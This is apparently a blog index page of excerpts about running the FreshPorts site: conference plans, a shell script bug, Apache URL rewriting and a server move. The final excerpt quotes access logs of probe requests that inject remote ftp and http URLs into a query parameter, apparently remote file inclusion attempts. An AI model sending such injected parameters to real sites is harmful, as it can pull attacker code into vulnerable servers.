I’m headed to LISA. I was able to get a cheap air ticket, and an even cheaper hotel. I’ll be meeting up with the PostgreSQL group and spending most of my time at the *BSD booth. I’ll also be bringing along some brochures for the PostgreSQL conference.
If you’re there, stop by.

Robert Watson has raised a few idea on how FreshSource can be used as a developer platform. These ideas are equally applicable to FreshPorts.
See http://www.freshsource.org/phorum/read.php?f=1&i=33&t=33.

There will be a PostgreSQL Conference in May 2007. I’ll definintely be there! I’m looking forward to this.
It’s right after a BSD conference. There will be quite a few people attending both conferences. One trip, two conferences, a great time.

Today I noticed a problem with the FreshPorts email processing daemon. It’s not really a daemon. It’s a shell script. After a reboot, I noticed the script was not running. Trying the script by hand, I found this error message:
.: missing filename

This sample script duplicates the problem:

#!/bin/sh
while .
do
sleep […]

Remember that wonderful new scheme for parsing URLs? Well, it broke virtual categories. That’s only because I forgot about them. Not because the schema is broken. It will still work, for any item in the tree. But virtual categories are not in the tree. I’ll change the new code to […]

And today, for my first trick (yes, it is my first trick, but my second post today), I shall transform this URL:
http://www.freshports.org/news/pan2/files.php?message_id=200605010349.k413nOGF019378@repoman.freebsd.org

into
http://www.freshports.org/commit.php?message_id=200605010349.k413nOGF019378@repoman.freebsd.org&category=news&port=pan2&files=yes

Why? Because it is impolite to break existing URLs. It is far better to redirect them to the new improved content.
Our documentation for today’s exercise shall be http://httpd.apache.org/docs/1.3/mod/mod_rewrite.html#RewriteRule.
Our first attempt at fixing […]

I was getting a lot of these queries:
[Thu Nov 9 00:40:34 2006] [error] [client 72.36.202.166] File does not exist: /www/freshports.org/modules/coppermine/themes/coppercop/theme.php
[Thu Nov 9 00:40:34 2006] [error] [client 204.157.11.250] File does not exist: /www/freshports.org/modules/coppermine/themes/coppercop/theme.php
[Thu Nov 9 00:40:36 2006] [error] [client 213.148.16.7] File does not exist: /www/freshports.org/modules/coppermine/themes/coppercop/theme.php
[Thu Nov 9 00:40:37 2006] [error] [client 72.29.68.123] […]

The 2U dual opteron server I’ve been writing about has left the building. On Monday, FedEx took control of the box. On Wednesday, it was delivered to an undisclosed location in Elk Grove, California, USA. On Thursday, it will be driven to San Jose California, where it will be installed at the […]

Central to how FreshPorts works is the parsing of the URL. Almost everying in FreshPorts is in a database, not in a static file somewhere. I need to improve the URL parsing.

My,what interesting search queries I have found.

195.137.160.67 - - [06/Nov/2006:13:09:56 -0500] “GET /mail/vpopmail/files.php?message_id=ftp://195.137.160.66/info.txt& HTTP/1.0″ 404 20 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)”
195.137.160.67 - - [06/Nov/2006:13:09:58 -0500] “GET /mail/vpopmail/files.php?message_id=ftps://195.137.160.66/info.txt& HTTP/1.0″ 404 20 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)”
195.137.160.67 - - [06/Nov/2006:13:10:01 -0500] “GET /mail/vpopmail/files.php?message_id=http://195.137.160.66/info.txt& HTTP/1.0″ 404 20 “-” “Mozilla/4.0 (compatible; MSIE 6.0; […]